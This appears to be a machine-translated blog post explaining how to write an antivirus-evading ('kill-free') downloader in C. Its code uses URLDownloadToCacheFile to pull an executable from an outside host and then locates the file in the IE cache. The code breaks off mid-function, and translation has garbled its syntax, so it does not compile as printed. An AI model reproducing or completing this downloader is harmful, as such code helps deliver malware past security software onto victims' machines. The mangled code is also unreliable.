Today, I checked the urlmon. h file and saw several other download functions. I thought if I wrote the UrlDownloadToFile function that is not commonly used by others, would it be kill-free?
Start to look up the URLDownloadToCacheFile function (msdn: http://msdn.microsoft.com/library/default.asp? Url =/workshop/net... /functions/urldownloadtocachefile. asp). The literal meaning is to download the file to the cache file. You can find the usage method on msdn. After executing a download, find the file and download it to the cache folder of ie. later find the path to get ie cache folder, and google for a few minutes, finally found a suitable api: GetUrlCacheEntryInfo (msdn: http://msdn2.microsoft.com/en-us/library/aa384185.aspx)
The following code is available:
# Include <urlmon. h>
# Include <Wininet. h>
# Include <stdio. h>
# Pragma comment (lib, "urlmon. lib ")
# Pragma comment (lib, "Wininet. lib ")
# Pragma comment (linker, "/OPT: NOWIN98 ")
# Pragma comment (linker, "/merge:. rdata =. text ")
# Define szUrl "http://www.spr1t3.com/hello.exe"
Void main (int argc, char ** argv)
{
URLDownloadToCacheFile (NULL, szUrl, "c: \ 1.exe", 50, 0, NULL );
DWORD dwEntrySize = 0;
LPINTERNET_CACHE_ENTRY_INFO lpCacheEntry;
Char strTemp [255];
If (! GetUrlCacheEntryInfo (szUrl, NULL, & dwEntrySize ))
{
If (GetLastError ()! = ERROR_INSUFFICIENT_BUFFER)
{
Return;
}
Else
<